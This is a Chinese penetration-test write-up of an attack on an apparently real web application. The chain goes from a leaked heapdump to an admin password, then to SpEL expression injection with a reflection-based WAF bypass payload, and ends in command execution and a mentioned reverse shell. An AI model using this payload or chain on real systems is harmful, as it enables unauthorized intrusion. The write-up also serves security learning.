原文首发在:奇安信攻防社区
https://forum.butian.net/share/4532
感觉整个渗透过程特别有意思,从扫描到 heapdump 泄露,到得敏感信息的泄露,再到观察请求包,思考参数表达的意思,为什么是这样的,从而发现隐藏的表达式注入点,到 getshell
感觉整个渗透过程特别有意思,从扫描到 heapdump 泄露,到得敏感信息的泄露,再到观察请求包,思考参数表达的意思,为什么是这样的,从而发现隐藏的表达式注入点,到 getshell
笔记记录了全部详细的过程,包括思考的过程,思路的转变,看很多文章,就只有渗透的结果,感觉学不到东西,毕竟思考的过程才是能力,如果遇到对应的场景知道如何思考,找到漏洞点就轻轻松松了
真的就是一步一步记录的自己的思路
其中还有自己看源码发现的绕过方法,真的,java 的神奇之处就在于,如果你仔细看源码,会发现更多的巧思路
首先一波信息收集来到如下的站点
弱密码尝试一波
尝试了很多都不行,准备下播了
看了一眼前台的接口
发现前台几乎没有什么有作用的接口
也没有什么敏感信息,于是决定目录扫描一波
结果有 heapdump 泄露,这个可是一个好东西
Heap Dump(堆转储)是指在程序运行时,将应用程序的堆内存(Heap)中的所有对象及其状态完整地保存到一个文件中的过程或文件。
而在这个内存中会有很多很多的敏感信息
https://github.com/wyzxxz/heapdump_tool
0. (search data, may can't find some data, can't usefunctionnum=,len=).
1. (loadallobject, needwaitafewminutes).
> 0
[-] pleaseinputkeywordvaluetosearch, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtableinputq/quittoquit.
> password
[-] Startfindkeyword: password
>> password -> xxxxxxxxxxx
这应该就是管理员的密码吧,然后找了个用户的字典
最后管理员账号用户名是 manager
最后进入到内部界面的时候接口就太多了
70 多个接口
常规思路就是在界面各种点,然后把接口都丢进去爆破一下
GET,POST 都去跑一遍
然后这时候只需要在一堆历史包中去找了
然后发现了一些可以获取数据的包,但是 id 都是随机算法的,不可以遍历
不过找了一个很有趣的接口
首先我们看这个接口,有什么思路呢?
接口名称就是查询票据的信息应该是,但是我们看传入的参数呢,当然原数据还需要传入其他的没有作用的参数,没有用
这个参数名称就很值得思考啊,expr,表达式啊,而且我们看参数的数值
expr=#ticket
常见表达式的基础语法
SpEL
- 以 `#` 开头引用变量:[`#variable`]()
- 使用 `T()` 调用类和静态方法:`T(java.lang.Math).max(1,2)`
- 支持 `new` 关键字创建对象:`new java.lang.String('abc')`
- 支持访问 Map,既能用 `.key` 又能用 `['key']`
- 支持调用方法链和属性访问:[`#obj`]()`.getName()`、[`#obj`](javascript:;)`.name`
- 支持三元运算符和 Elvis 运算符:`condition ? trueVal : falseVal`,[`#var`](javascript:;) `?: 'default'`
- 支持集合和数组访问:[`#list`](javascript:;)`[0]`、[`#map`](javascript:;)`['key']`
EL
${}
或 #{}
里面eq
、ne
、lt
、gt
、le
、ge
代替 ==
、!=
、<
、>
、<=
、>=
empty
关键字判断空值:${empty list}
fn:
命名空间前缀:${fn:length(list)}
new
和直接类调用(没有 T()
).
,访问 Map 用 ['key']
OGNL
user.name
user.getName
(括号可省略)[index]
:list[0]
==
、!=
等标准操作符@class@method()
形式调用静态方法:@java.lang.Math@max(1,2)
user.address.street.toUpperCase()
MVEL
user.name
、user.getName()
[index]
:list[0]
@
符号:@java.lang.Math@max(1,2)
这里可以看出来应该是 spel 表达式注入,我们尝试一下
于是当我开始尝试 spel 表达式的时候
???,我一开始以为是这个不是 spel 表达式,可能表达式错了,然后我去尝试其他表达式
el 表达式回显的是计算失败??
我当时以为是计算了,证明应该是 el 表达式
但是当我更深入一步利用的时候
我发现了,不管你输入啥,都没有作用,都是这个回显??
我猜测可能是因为数据类型有问题,然后又一直尝试,发现这样才可以
回显 9
证明计算成功了,然后我再次使用内置对象的时候
我真服了,又是这样,最后无限尝试中,摸索出来了,应该是 spel 表达式,因为 #
这样代变量也只能是 spel 表达式了吧
为什么会报 400,那估计是有黑名单了
一般黑名单都会禁止直接实例化,我们测试一下
确定了,就是被 waf 了
但是 spel还支持 T 直接实例化对象
直接一个 T 是没有问题,但是
就是 T( 也被过滤了
想了好久,应该直接能够实例化的方法都不行了
别急,我还有办法
通过反射的方法来这样获取类,然后调用 getRuntime 方法
但是最后发现
全被 ban 了,哎,好不容易有发现,决定死磕到底
首先去翻了一下,spel 还有什么实例化的方法,比如 new 大小写绕过
还是不行啊
但是我就是不甘心,然后第二天再次去干,思考了一下,实例化方法是可能没办法了,因为表达式只有这几种实例化的方法,我还是决定从反射入手,但是必须先获取一个类啊,我于是去看了 getClass 的源码,看看还有什么方法能够获取类的
看到这个想到是不是可以先获取类加载器,然后再去加载类,我靠决定去尝试一手
但是获取类加载器得要一个类啊,尝试了一会都没有成功
最后看到了一个方法
publicClass<?>[] getClasses() {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), false);
// Privileged so this implementation can look at DECLARED classes,
// something the caller might not have privilege to do. The code here
// is allowed to look at DECLARED classes because (1) it does not hand
// out anything other than public members and (2) public member access
// has already been ok'd by the SecurityManager.
return java.security.AccessController.doPrivileged(
new java.security.PrivilegedAction<Class<?>[]>() {
publicClass<?>[] run() {
List<Class<?>> list = newArrayList<>();
Class<?> currentClass = Class.this;
while (currentClass != null) {
Class<?>[] members = currentClass.getDeclaredClasses();
for (inti = 0; i < members.length; i++) {
if (Modifier.isPublic(members[i].getModifiers())) {
list.add(members[i]);
}
}
currentClass = currentClass.getSuperclass();
}
returnlist.toArray(newClass<?>[0]);
}
});
}
首先我们看这里是如何获取类的
currentClass = currentClass.getSuperclass()
于是我好奇的,是不是 getSuperclass 也可以啊
懂了,String 没有,这里我又弄了半天,于是看原代码,我发现了
Class<?> currentClass = Class.this;
所以我们需要一个 class 呗
谁懂这个感觉,我靠真获取到了兄弟,于是开始杀起来
本地这样是没有问题的,但是
估计是因为+拼接字符串是因为在 idea 的语法是正确的,不是 java 的语法
然后想着用
但是发现在表达式可能是语法问题
直接就报错了
最后修改如下
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
publicclassTest{
publicvoid run() throws InterruptedException {
String expr="''.class.getSuperclass().forName('java.lang.suntime'.replace('s', 'R'))";
SpelExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Object calcResult = parser.parseExpression(expr).getValue(context);
System.out.println(calcResult);
}
publicstaticvoid main(String[] args) throws InterruptedException {
new Test().run();
}
}
成功得到了 Runtime
wc,太难了呜呜呜呜
嘿嘿嘿就一样的手法了
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
publicclassTest{
publicvoid run() throws InterruptedException {
String expr="''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null)";
SpelExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Object calcResult = parser.parseExpression(expr).getValue(context);
System.out.println(calcResult);
}
publicstaticvoid main(String[] args) throws InterruptedException {
new Test().run();
}
}
但是报错了,wc 了
但是 GPT 说不影响,不管了哥们,我要执行命令了
网站 ping 一手
终于,终于,终于成功啦
最后就是个反弹 shell 了
这次渗透的整个过程,真正的力量来源于思考本身。一次次的尝试,最后还是不断攻破困难,去看源码,去找绕过方法,累昏了,又一次复现的过程把这个思路牢固了一遍,举一反三
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。